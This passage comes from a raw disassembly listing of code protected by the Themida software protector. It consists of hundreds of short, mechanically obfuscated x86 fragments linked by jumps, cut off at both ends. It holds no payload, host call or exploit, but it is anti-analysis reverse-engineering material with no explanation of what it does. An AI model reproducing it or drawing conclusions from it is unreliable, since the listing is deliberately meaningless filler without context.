jmp loc_564E38
; ---------------------------------------------------------------------------
loc_56B7FF: ; CODE XREF: Themida_:0056083Dj
; Themida_:005619F3j
push ebx
push 6FE1h
mov [esp], eax
jmp loc_56E0D1
; ---------------------------------------------------------------------------
loc_56B80D: ; CODE XREF: Themida_:0056F214j
mov cl, 0B2h
push ecx
push ebx
jmp loc_56D29D
; ---------------------------------------------------------------------------
loc_56B816: ; CODE XREF: Themida_:0055EA35j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
and eax, ebp
mov ebp, [esp]
jmp loc_571204
; ---------------------------------------------------------------------------
loc_56B82D: ; CODE XREF: Themida_:00562563j
add [esp+4], ebx
sub dword ptr [esp+4], 5F417D39h
jmp loc_571B1E
; ---------------------------------------------------------------------------
loc_56B83E: ; CODE XREF: Themida_:0056D8A3j
add edx, eax
pop eax
jmp loc_56E749
; ---------------------------------------------------------------------------
loc_56B846: ; CODE XREF: Themida_:0056B205j
add ebp, 0FFFFFFFFh
jmp loc_567093
; ---------------------------------------------------------------------------
loc_56B84E: ; CODE XREF: Themida_:0055D6F2j
push edi
mov edi, 7BEA3246h
shl edi, 6
jmp loc_56DABB
; ---------------------------------------------------------------------------
loc_56B85C: ; CODE XREF: Themida_:0056254Ej
push esi
push ebp
pop esi
pop ebp
jmp loc_56A5DF
; ---------------------------------------------------------------------------
loc_56B865: ; CODE XREF: Themida_:0056FFC1j
add esp, 4
push esi
mov esi, 4
sub ebx, 1E921890h
add ebx, esi
add ebx, 1E921890h
pop esi
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push small word ptr [eax]
jmp loc_560280
; ---------------------------------------------------------------------------
loc_56B897: ; CODE XREF: Themida_:0056DD66j
; Themida_:0056F44Ej
push 62FCh
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_568CD0
; ---------------------------------------------------------------------------
loc_56B8BF: ; CODE XREF: Themida_:005637A6j
pop eax
jmp loc_566EEA
; ---------------------------------------------------------------------------
loc_56B8C5: ; CODE XREF: Themida_:00565265j
add ebp, ecx
jmp loc_56003A
; ---------------------------------------------------------------------------
loc_56B8CC: ; CODE XREF: Themida_:005710B8j
pop esi
loc_56B8CD: ; CODE XREF: Themida_:0056D067j
; Themida_:0056FBF8j
push 5030h
mov [esp], ebp
push 3E77h
mov [esp], ecx
mov ecx, ebx
push ecx
mov ebp, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
push ebp
add dword ptr [esp], 327627E7h
jmp loc_55DA96
; ---------------------------------------------------------------------------
loc_56B8F9: ; CODE XREF: Themida_:00561BB9j
mov [esp], eax
mov eax, 1DBB3F9Dh
shl eax, 4
jmp loc_56DADE
; ---------------------------------------------------------------------------
loc_56B909: ; CODE XREF: Themida_:00563E00j
add esp, 4
and edx, 1F9A6C8Ch
inc edx
xor edx, 53B30618h
and edx, 418B2EC3h
push ecx
push esi
push 7D2A08F2h
jmp loc_560EDA
; ---------------------------------------------------------------------------
loc_56B92B: ; CODE XREF: Themida_:005673ACj
push eax
mov eax, 7691591Ah
not eax
xor eax, 0DDA8FA7Eh
jmp loc_56BAE9
; ---------------------------------------------------------------------------
loc_56B93D: ; CODE XREF: Themida_:0056773Dj
add eax, 1
dec eax
sub esp, 4
jmp loc_55F5C2
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2993h
mov [esp], eax
push esp
mov eax, [esp]
push ebp
mov ebp, esp
push ebx
mov ebx, 74A450A8h
push 1B5Ch
mov [esp], edi
mov edi, 74A450ACh
xor ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_5655F4
; ---------------------------------------------------------------------------
loc_56B981: ; CODE XREF: Themida_:0056FB72j
pop edi
add edi, 4
push ecx
jmp loc_564385
; ---------------------------------------------------------------------------
loc_56B98E: ; CODE XREF: Themida_:0055E68Cj
sub ebx, esi
pop esi
add ebx, eax
add ebx, 292C5779h
jmp loc_564B59
; ---------------------------------------------------------------------------
loc_56B99E: ; CODE XREF: Themida_:0056625Dj
pop ebp
jmp loc_5630A9
; ---------------------------------------------------------------------------
loc_56B9A4: ; CODE XREF: Themida_:00562103j
mov ecx, esp
add ecx, 4
push 5C93h
jmp loc_56C88A
; ---------------------------------------------------------------------------
loc_56B9B6: ; CODE XREF: Themida_:00567A9Ej
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_56C3F2
; ---------------------------------------------------------------------------
loc_56B9CD: ; CODE XREF: Themida_:00563824j
push dword ptr [esp]
pop edi
add esp, 4
sub esp, 4
jmp loc_5608FE
; ---------------------------------------------------------------------------
loc_56B9E2: ; CODE XREF: Themida_:0056DF4Ej
xor cl, bh
push dword ptr [esp]
pop ebx
add esp, 4
push edx
mov dl, 0C1h
jmp loc_5616F8
; ---------------------------------------------------------------------------
loc_56B9F6: ; CODE XREF: Themida_:00570C9Aj
xor [esp+4], edx
jmp loc_55F9C0
; ---------------------------------------------------------------------------
loc_56B9FF: ; CODE XREF: Themida_:00560D17j
sub ebx, 1
xchg edi, ebx
not edi
xchg edi, ebx
push eax
push eax
mov eax, esp
jmp loc_562BD8
; ---------------------------------------------------------------------------
loc_56BA11: ; CODE XREF: Themida_:0056AFD6j
pop edx
push edi
mov edi, 3AE260ABh
and edi, 121C0C33h
shr edi, 6
jmp loc_56F77F
; ---------------------------------------------------------------------------
loc_56BA26: ; CODE XREF: Themida_:00560266j
add edx, esi
mov esi, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_57243D
; ---------------------------------------------------------------------------
loc_56BA39: ; CODE XREF: Themida_:0055DA97j
sub eax, 327627E7h
jmp loc_563CC1
; ---------------------------------------------------------------------------
loc_56BA43: ; CODE XREF: Themida_:0056A990j
add edi, 22E26E6Ah
sub edi, edx
push ebp
mov ebp, 22E26E6Ah
jmp loc_56FD6E
; ---------------------------------------------------------------------------
loc_56BA56: ; CODE XREF: Themida_:0055F5DAj
mov edi, 1B8D24F0h
add edi, 5FFE3582h
not edi
shr edi, 6
add edi, 423158C3h
add eax, edi
pop edi
jmp loc_565E0E
; ---------------------------------------------------------------------------
loc_56BA74: ; CODE XREF: Themida_:0055EA7Fj
push ecx
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56BA7B: ; CODE XREF: Themida_:005635B3j
mov esi, 4
add edx, 61376924h
jmp loc_56AD5E
; ---------------------------------------------------------------------------
loc_56BA8B: ; CODE XREF: Themida_:0056CF9Aj
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push ebp
jmp loc_56A371
; ---------------------------------------------------------------------------
loc_56BA9A: ; CODE XREF: Themida_:00572928j
pop esp
mov [esp], edx
jmp loc_572AC2
; ---------------------------------------------------------------------------
loc_56BAA3: ; CODE XREF: Themida_:0056FDCDj
mov ecx, 23546D24h
add esi, ecx
mov ecx, [esp]
add esp, 4
add esi, eax
push edi
mov edi, 23546D24h
sub esi, edi
pop edi
push 250Fh
mov [esp], eax
mov eax, 6ACD680Eh
or eax, 4AC6707Dh
push ecx
mov ecx, 15A154DDh
jmp loc_56716C
; ---------------------------------------------------------------------------
loc_56BADB: ; CODE XREF: Themida_:0056B11Ej
mov [esp], ebp
push ebx
mov ebx, 55415B05h
jmp loc_570B14
; ---------------------------------------------------------------------------
loc_56BAE9: ; CODE XREF: Themida_:0056B938j
sub ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_560522
; ---------------------------------------------------------------------------
loc_56BAF6: ; CODE XREF: Themida_:00561716j
push edi
push eax
jmp loc_55FD4D
; ---------------------------------------------------------------------------
loc_56BAFD: ; CODE XREF: Themida_:00566AC8j
mov ecx, 4
add [esp+4], ecx
pop ecx
jmp loc_5637D5
; ---------------------------------------------------------------------------
loc_56BB0C: ; CODE XREF: Themida_:00564AC6j
pop ebp
push edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub eax, 30CD3CF2h
sub eax, edi
add eax, 30CD3CF2h
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_55E1F4
; ---------------------------------------------------------------------------
loc_56BB44: ; CODE XREF: Themida_:0056762Cj
mov [esp], ecx
jmp loc_572415
; ---------------------------------------------------------------------------
loc_56BB4C: ; CODE XREF: Themida_:00568B04j
pop edi
mov edx, [esp]
jmp loc_560EB7
; ---------------------------------------------------------------------------
loc_56BB55: ; CODE XREF: Themida_:0056E361j
mov ebp, 2AE82478h
and ebp, 585A25DEh
dec ebp
jmp loc_56E9E9
; ---------------------------------------------------------------------------
loc_56BB66: ; CODE XREF: Themida_:00561FF9j
mov ebx, 64011B83h
shl ebx, 3
jmp loc_55D62C
; ---------------------------------------------------------------------------
loc_56BB73: ; CODE XREF: Themida_:0056DFCCj
add eax, 54A372E4h
shl eax, 4
or eax, 530478BDh
push 0
sub [esp], eax
pop eax
push edx
push 200741h
pop edx
add eax, 222E254Ah
sub eax, edx
jmp loc_55ECE7
; ---------------------------------------------------------------------------
loc_56BB9C: ; CODE XREF: Themida_:005721DFj
mov ecx, 270051B8h
or ecx, 52051B31h
sub ecx, 61E127BDh
mov esi, ecx
mov ecx, [esp]
add esp, 4
sub ecx, esi
pop esi
mov edx, ecx
pop ecx
jmp loc_56E8EB
; ---------------------------------------------------------------------------
loc_56BBC3: ; CODE XREF: Themida_:00570D1Aj
sub esp, 4
jmp loc_567447
; ---------------------------------------------------------------------------
loc_56BBCE: ; CODE XREF: Themida_:0055E6F1j
mov ebp, [esp]
add esp, 4
pop esi
xor eax, ecx
pop ecx
push 5C6Eh
mov [esp], edi
jmp loc_55E340
; ---------------------------------------------------------------------------
loc_56BBE8: ; CODE XREF: Themida_:00563CA0j
push esp
push dword ptr [esp]
pop ecx
add esp, 4
push 19AAh
mov [esp], edi
mov edi, 775E3E1Bh
or edi, 0BEE0A4Eh
xor edi, 4C7D1B09h
dec edi
push ebp
mov ebp, 1B6D7FDCh
xor edi, ebp
pop ebp
push eax
mov eax, 784E6642h
inc eax
xor eax, 5CA9778Dh
or eax, 82A4BCCh
xor eax, 22AA0AF4h
jmp loc_55FF83
; ---------------------------------------------------------------------------
loc_56BC31: ; CODE XREF: Themida_:0056031Aj
add esp, 2
push dx
mov dh, 0B6h
jmp loc_56BD31
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 0DCEh
jmp loc_55DE33
; ---------------------------------------------------------------------------
loc_56BC4A: ; CODE XREF: Themida_:0056899Dj
push dword ptr [esp+4]
jmp loc_562837
; ---------------------------------------------------------------------------
loc_56BC53: ; CODE XREF: Themida_:0055DE2Ej
push edx
mov edx, 4B4743A9h
xor edx, 396D31F9h
jmp loc_5641D7
; ---------------------------------------------------------------------------
loc_56BC64: ; CODE XREF: Themida_:00561649j
xor bh, ah
xor ah, bh
not bh
push edx
mov dl, bh
jmp loc_568598
; ---------------------------------------------------------------------------
loc_56BC72: ; CODE XREF: Themida_:005611AAj
shr ebx, 4
xor ebx, 653DA042h
add edi, ebx
jmp loc_568572
; ---------------------------------------------------------------------------
loc_56BC82: ; CODE XREF: Themida_:0055EFE9j
xor edx, 68A80292h
sub edi, edx
jmp loc_570EAA
; ---------------------------------------------------------------------------
loc_56BC8F: ; CODE XREF: Themida_:0055FE6Fj
dec esi
or esi, 4B713272h
dec esi
neg esi
add esi, 0C241C0C1h
jmp loc_5689DF
; ---------------------------------------------------------------------------
loc_56BCA4: ; CODE XREF: Themida_:0056C0BDj
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebx, 235A5C96h
shr ebx, 1
sub ebx, 1E514C13h
sub ebx, 0BC4339B4h
jmp loc_55E89E
; ---------------------------------------------------------------------------
loc_56BCD5: ; CODE XREF: Themida_:00571C33j
xor [esp], ebp
xor ebp, [esp]
pop esp
add esi, ebx
sub esi, 326849F2h
mov ebx, [esp]
add esp, 4
jmp loc_571DFA
; ---------------------------------------------------------------------------
loc_56BCEF: ; CODE XREF: Themida_:0056B66Bj
add esp, 4
sub ebx, esi
pop esi
pop ecx
push esi
jmp loc_5628A0
; ---------------------------------------------------------------------------
loc_56BCFF: ; CODE XREF: Themida_:0055DC93j
mov eax, esi
pop esi
add eax, 137E05D3h
and ecx, eax
mov eax, [esp]
add esp, 4
push esi
jmp loc_56E3D6
; ---------------------------------------------------------------------------
loc_56BD18: ; CODE XREF: Themida_:005656DFj
add eax, 300345DDh
or edx, eax
pop eax
shl edx, 6
push eax
mov eax, 79BD4AE7h
add edx, eax
pop eax
jmp loc_567E93
; ---------------------------------------------------------------------------
loc_56BD31: ; CODE XREF: Themida_:0056BC38j
push edx
mov dh, 60h
add ch, dh
jmp loc_55DA80
; ---------------------------------------------------------------------------
loc_56BD3B: ; CODE XREF: Themida_:005603AEj
sub ax, bx
push eax
mov eax, esp
add eax, 4
sub eax, 2
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], bx
jmp loc_568238
; ---------------------------------------------------------------------------
loc_56BD6B: ; CODE XREF: Themida_:005706A8j
add esp, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_56D205
; ---------------------------------------------------------------------------
loc_56BD84: ; CODE XREF: Themida_:0055E2DEj
pop si
jmp loc_56511E
; ---------------------------------------------------------------------------
loc_56BD8B: ; CODE XREF: Themida_:00566A49j
pop eax
jmp loc_56F5D4
; ---------------------------------------------------------------------------
loc_56BD91: ; CODE XREF: Themida_:005722ABj
mov esi, 3EA407C8h
dec esi
push eax
mov eax, 5907293Ch
shr eax, 3
sub eax, 0EC26AA9Dh
and esi, eax
pop eax
jmp loc_55E590
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DEE3
loc_56BDAD: ; CODE XREF: sub_55DEE3+626Bj
xchg ah, byte ptr [esp+4+var_4]
not ah
xchg ah, byte ptr [esp+4+var_4]
pop edx
sub dl, 0FFh
not dl
add dl, 23h
add al, 0ABh
sub al, 0C4h
sub al, dl
add al, 0C4h
jmp sub_562A0A
; END OF FUNCTION CHUNK FOR sub_55DEE3
; ---------------------------------------------------------------------------
loc_56BDCB: ; CODE XREF: Themida_:00568F9Ej
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
jmp loc_56B481
; ---------------------------------------------------------------------------
loc_56BDE0: ; CODE XREF: Themida_:00563B0Cj
pop ebp
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_571C28
; ---------------------------------------------------------------------------
loc_56BDF4: ; CODE XREF: Themida_:00566AF2j
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_56B3DC
; ---------------------------------------------------------------------------
loc_56BE06: ; CODE XREF: Themida_:0056C558j
mov ch, 80h
add al, 0C5h
add al, ch
push ecx
mov cl, 71h
sub cl, 0EFh
shr cl, 5
dec cl
inc cl
dec cl
sub cl, 3Eh
sub al, cl
pop ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov dl, 59h
shl dl, 1
push 4557h
mov [esp], ebx
push ecx
mov cl, 0B8h
mov bh, cl
mov ecx, [esp]
jmp loc_566808
; ---------------------------------------------------------------------------
loc_56BE49: ; CODE XREF: Themida_:0055F58Aj
add ecx, edi
pop edi
jmp loc_563072
; ---------------------------------------------------------------------------
loc_56BE51: ; CODE XREF: Themida_:00561225j
mov eax, [esp]
push esi
push esp
pop esi
push ecx
mov ecx, 4
add esi, ecx
mov ecx, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5631DD
; ---------------------------------------------------------------------------
loc_56BE76: ; CODE XREF: Themida_:0056A32Fj
mov [esp], ebp
push edx
push 34690116h
push dword ptr [esp]
pop edx
add esp, 4
inc edx
push ecx
mov ecx, 167113Dh
add ecx, 7544482Bh
jmp loc_568F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_56BE98: ; CODE XREF: sub_562A0A-29B4j
add dl, 0CCh
sub dl, ch
sub dl, 0CCh
jmp loc_570C2B
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_56BEA5: ; CODE XREF: Themida_:0056FF9Aj
mov eax, 2F847475h
or ebx, eax
pop eax
neg ebx
sub ebx, 50210185h
sub ebp, ebx
jmp loc_55F338
; ---------------------------------------------------------------------------
loc_56BEBC: ; CODE XREF: Themida_:0056A5AAj
push ebp
mov ebp, esp
add ebp, 4
push edi
push ebx
mov ebx, 34651822h
jmp loc_569F6B
; ---------------------------------------------------------------------------
loc_56BED1: ; CODE XREF: Themida_:00566DABj
add ebp, 2C350547h
dec ebp
xor ebp, 40A5644Ch
jmp loc_56F52C
; ---------------------------------------------------------------------------
loc_56BEE3: ; CODE XREF: Themida_:0056FF50j
xchg ecx, edx
neg ecx
xor edx, ecx
xor ecx, edx
xor edx, ecx
jmp loc_56F486
; ---------------------------------------------------------------------------
loc_56BEF2: ; CODE XREF: Themida_:0056D743j
add edx, ebp
add edx, 3B3A4CBBh
push edi
jmp loc_5632CB
; ---------------------------------------------------------------------------
loc_56BF00: ; CODE XREF: Themida_:0055D324j
mov esp, [esp]
movzx eax, al
push dword ptr [edi+eax*4]
push esi
mov esi, 6C0F1F8Ah
xor [esp+4], esi
pop esi
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 0AB02959h
push ebp
jmp loc_564569
; ---------------------------------------------------------------------------
loc_56BF26: ; CODE XREF: Themida_:0056EFA4j
add eax, edi
jmp loc_56C792
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_56C5BC
; ---------------------------------------------------------------------------
loc_56BF35: ; CODE XREF: Themida_:0055D5F8j
push ebx
jmp loc_569FBF
; ---------------------------------------------------------------------------
loc_56BF3B: ; CODE XREF: Themida_:00561368j
push ebx
mov ebx, 4E4C2DA0h
or ebx, 31873009h
neg ebx
jmp loc_564B86
; ---------------------------------------------------------------------------
loc_56BF4E: ; CODE XREF: Themida_:00561313j
mov [esp], esp
add dword ptr [esp], 4
pop eax
push esi
mov esi, 1877356h
shl esi, 1
add esi, 36D02F9Ch
not esi
push 45FAh
mov [esp], ecx
mov ecx, 4E733AC9h
add esi, ecx
pop ecx
add esi, 0EB6BDB84h
add eax, esi
mov esi, [esp]
add esp, 4
push ebp
jmp loc_56E87F
; ---------------------------------------------------------------------------
loc_56BF8D: ; CODE XREF: Themida_:00569588j
mov edi, 1
sub ecx, edi
pop edi
push ecx
jmp loc_563040
; ---------------------------------------------------------------------------
loc_56BF9B: ; CODE XREF: Themida_:0056F967j
mov ebx, 5E0C4983h
jmp loc_560C3E
; ---------------------------------------------------------------------------
loc_56BFA5: ; CODE XREF: Themida_:0055F161j
push esp
pop ebx
push ecx
mov ecx, 4
jmp loc_55F3DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56BFB2: ; CODE XREF: sub_59DB3D-3190Cj
pop edi
jmp loc_55EDD0
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56BFB8: ; CODE XREF: Themida_:005634D7j
push edi
mov edi, 4
add edx, 41AF1363h
jmp loc_566839
; ---------------------------------------------------------------------------
loc_56BFC9: ; CODE XREF: Themida_:005645F8j
pop esp
add al, bl
sub esp, 2
mov [esp], dx
push ebx
push ecx
mov cl, 0C4h
mov bh, cl
pop ecx
mov dh, bh
jmp loc_5700E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56BFE1: ; CODE XREF: sub_59DB3D-3D659j
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push [esp+34h+var_32+2]
pop edx
pop dword ptr [esp+0]
pop esp
jmp loc_5697D7
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56BFFC: ; CODE XREF: Themida_:0055F8EFj
xor eax, 43D1631Eh
dec eax
push ecx
mov ecx, 5616081h
sub ecx, 0F71A760Eh
add eax, ecx
pop ecx
jmp loc_5658DF
; ---------------------------------------------------------------------------
loc_56C016: ; CODE XREF: Themida_:0056C3C0j
mov [esp], ecx
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
sub ebx, edi
mov edi, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ecx, [esp]
add esp, 4
mov eax, ecx
jmp loc_570F1D
; ---------------------------------------------------------------------------
loc_56C046: ; CODE XREF: Themida_:00567B6Ej
pop ebx
push edi
mov edi, 527C2EBFh
inc edi
xor edi, 1EE65892h
push eax
mov eax, 0F18DC265h
add edi, 2CF25A49h
jmp loc_55FF93
; ---------------------------------------------------------------------------
loc_56C065: ; CODE XREF: Themida_:005639D1j
shl ecx, 8
sub ecx, 1
add ecx, 34787996h
push esi
mov esi, 3EA2B491h
sub ecx, esi
pop esi
jmp loc_572169
; ---------------------------------------------------------------------------
loc_56C082: ; CODE XREF: Themida_:0056207Bj
dec bh
xor bh, 89h
mov ch, bh
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5668F4
; ---------------------------------------------------------------------------
loc_56C095: ; CODE XREF: Themida_:0056AE01j
pop esp
mov [esp], edx
jmp loc_561BE3
; ---------------------------------------------------------------------------
loc_56C09E: ; CODE XREF: Themida_:005658E7j
and eax, 281C1A6Eh
push ebp
mov ebp, 18D6229Ch
add eax, ebp
pop ebp
push edi
push 6A89h
mov [esp], ebx
push 0D1B02D0h
mov ebx, [esp]
jmp loc_56BCA4
; ---------------------------------------------------------------------------
loc_56C0C2: ; CODE XREF: Themida_:005728B7j
mov edi, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
sub ebx, ecx
jmp loc_56CC36
; ---------------------------------------------------------------------------
loc_56C0DE: ; CODE XREF: Themida_:0055E52Fj
pop eax
jmp loc_570A00
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56C0F4: ; CODE XREF: Themida_:0056280Ej
mov dword ptr [edi+24h], 66895156h
inc dword ptr [edi+24h]
sub esp, 4
jmp loc_561AA6
; ---------------------------------------------------------------------------
loc_56C109: ; CODE XREF: Themida_:0056E9B5j
shr eax, 6
push edi
mov edi, 33040A35h
push eax
mov eax, 16A336DFh
jmp loc_56136D
; ---------------------------------------------------------------------------
loc_56C11D: ; CODE XREF: Themida_:0055D5C7j
pop ebp
add ebp, 4
jmp loc_56D68E
; ---------------------------------------------------------------------------
loc_56C129: ; CODE XREF: Themida_:0055EE31j
xor edi, ebp
pop ebp
add eax, edi
pop edi
add eax, 4
xchg eax, [esp]
jmp loc_55F8AF
; ---------------------------------------------------------------------------
loc_56C13A: ; CODE XREF: Themida_:0055EF19j
pop edx
jmp loc_5615FA
; ---------------------------------------------------------------------------
loc_56C140: ; CODE XREF: Themida_:005648F6j
popa
popf
jmp locret_56D046
; ---------------------------------------------------------------------------
loc_56C147: ; CODE XREF: Themida_:00572732j
mov esi, 0C8F3CF8h
xor esi, edi
pop edi
add esi, ebp
push dword ptr [esp]
pop ebp
jmp loc_568D90
; ---------------------------------------------------------------------------
loc_56C15A: ; CODE XREF: Themida_:005689B0j
mov cl, ah
mov bh, cl
jmp loc_55F608
; ---------------------------------------------------------------------------
loc_56C163: ; CODE XREF: Themida_:0056FFCFj
sub ebx, 8453FC18h
jmp loc_565EF5
; ---------------------------------------------------------------------------
loc_56C16E: ; CODE XREF: Themida_:0056FE03j
pop esp
shr ecx, 0
jmp loc_56F1AF
; ---------------------------------------------------------------------------
loc_56C177: ; CODE XREF: Themida_:00571127j
mov ah, dh
pop edx
pop ecx
mov bh, 31h
add bh, ah
jmp loc_56999C
; ---------------------------------------------------------------------------
loc_56C184: ; CODE XREF: Themida_:005713D6j
neg dh
xor dh, 0C2h
shr dh, 4
shr dh, 3
sub dh, 0DBh
and ch, dh
pop edx
add ch, 0F7h
sub al, ch
pop ecx
jmp loc_567742
; ---------------------------------------------------------------------------
loc_56C1A0: ; CODE XREF: Themida_:00570285j
push dword ptr [esp]
pop ecx
jmp loc_55D364
; ---------------------------------------------------------------------------
loc_56C1A9: ; CODE XREF: Themida_:0055DA7Bj
mov ch, 0C4h
jmp loc_56AF5A
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56C1BA: ; CODE XREF: Themida_:0056A02Bj
mov edi, 6BFE538Eh
jmp loc_5629B9
; ---------------------------------------------------------------------------
loc_56C1C4: ; CODE XREF: Themida_:00571457j
mov [esp], edx
jmp loc_56828C
; ---------------------------------------------------------------------------
loc_56C1CC: ; CODE XREF: Themida_:0055F115j
xor eax, 68D505C3h
add eax, 114DE94Fh
shl eax, 3
xchg eax, ebp
inc ebp
jmp loc_565DD2
; ---------------------------------------------------------------------------
loc_56C1E0: ; CODE XREF: Themida_:0055F78Ej
add eax, ebp
pop ebp
sub eax, 6C66308Ah
push 28FFh
mov [esp], ecx
mov ecx, 28EA467Eh
jmp loc_566C85
; ---------------------------------------------------------------------------
loc_56C1FA: ; CODE XREF: Themida_:0056999Fj
sub esp, 4
jmp loc_5709E3
; ---------------------------------------------------------------------------
loc_56C205: ; CODE XREF: Themida_:0055F508j
mov ebx, 53B91EDCh
mov eax, 0AC46E128h
add eax, ebx
pop ebx
add ebx, eax
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_562080
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_56C225: ; CODE XREF: sub_59DB3D-389B8j
sub eax, 11C92AC6h
add eax, edi
add eax, 11C92AC6h
jmp loc_56BFB2
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_56C236: ; CODE XREF: Themida_:0056783Bj
mov [esp], edx
mov edx, 2
jmp loc_55E8ED
; ---------------------------------------------------------------------------
loc_56C243: ; CODE XREF: Themida_:0056B6FEj
sub ebx, 0FF25FB7Eh
jmp loc_5697AC
; ---------------------------------------------------------------------------
loc_56C24E: ; CODE XREF: Themida_:00563300j
push dword ptr [esp]
pop ebx
push esi
mov esi, esp
add esi, 4
jmp loc_57001B
; ---------------------------------------------------------------------------
loc_56C260: ; CODE XREF: Themida_:0056F2ACj
pop ebx
add al, 0B7h
sub al, bl
push 6228h
jmp loc_568DE3
; ---------------------------------------------------------------------------
loc_56C26F: ; CODE XREF: Themida_:00562880j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub edi, 39504BEEh
sub edi, eax
add edi, 39504BEEh
push dword ptr [esp]
pop eax
jmp loc_56D111
; ---------------------------------------------------------------------------
loc_56C296: ; CODE XREF: Themida_:0056FC74j
pop eax
add ebp, 572B7568h
sub ebp, 0A9728EAEh
add dword ptr [esp+4], 3315136Eh
sub dword ptr [esp+4], 6A904E47h
add [esp+4], ebp
add dword ptr [esp+4], 6A904E47h
sub dword ptr [esp+4], 3315136Eh
jmp loc_565EB5
; ---------------------------------------------------------------------------
loc_56C2CC: ; CODE XREF: Themida_:0056190Bj
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_563EE8
; ---------------------------------------------------------------------------
loc_56C2E0: ; CODE XREF: Themida_:00560FFCj
pop edx
push esi
push ebx
push 4C6A4405h
pop ebx
push 1F46h
mov [esp], edi
jmp loc_562FD4
; ---------------------------------------------------------------------------
loc_56C2F6: ; CODE XREF: Themida_:0055FFEFj
mov [esp], ebx
jmp loc_5642D9
; ---------------------------------------------------------------------------
loc_56C2FE: ; CODE XREF: Themida_:0056A626j
mov esi, esp
add esi, 4
push ebp
mov ebp, 5E22314Dh
jmp loc_560241
; ---------------------------------------------------------------------------
loc_56C311: ; CODE XREF: Themida_:00568AAAj
push 370Eh
mov [esp], esi
mov esi, 6DE4699Ch
shr esi, 3
and esi, 156D7F5Fh
or esi, 5B6E743Eh
not esi
xor esi, 7412B6Ah
xor esi, 0A7D0A9ABh
sub edi, esi
pop esi
jmp loc_55F856
; ---------------------------------------------------------------------------
loc_56C343: ; CODE XREF: Themida_:00564D7Ej
shr ebx, 1
shr ebx, 2
add ebx, 96428E43h
mov edi, ebx
jmp loc_56A051
; ---------------------------------------------------------------------------
loc_56C355: ; CODE XREF: Themida_:0055F04Dj
sub esp, 4
mov [esp], edi
mov edi, 6F0F75D4h
sub edi, 1
push esi
push edx
mov edx, 45F95E18h
and edx, 925396Ah
xor edx, 6BE659B0h
mov esi, edx
pop edx
or edi, esi
pop esi
add edi, 0B1A0E9B8h
or edx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
jmp loc_55F4D8
; ---------------------------------------------------------------------------
loc_56C398: ; CODE XREF: Themida_:00567F1Fj
add esp, 4
sub esp, 4
jmp loc_567990
; ---------------------------------------------------------------------------
loc_56C3A6: ; CODE XREF: Themida_:00571B03j
pop eax
add eax, 0EB0ED8C8h
xor ebx, eax
pop eax
mov eax, ebx
jmp loc_5725CA
; ---------------------------------------------------------------------------
loc_56C3B6: ; CODE XREF: Themida_:00562359j
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_56C016
; ---------------------------------------------------------------------------
loc_56C3C5: ; CODE XREF: Themida_:0056729Ej
dec edx
sub edx, 10D47592h
sub ecx, edx
pop edx
add edi, ecx
jmp loc_5719FC
; ---------------------------------------------------------------------------
loc_56C3D6: ; CODE XREF: Themida_:005616E7j
add ebx, 4
push edi
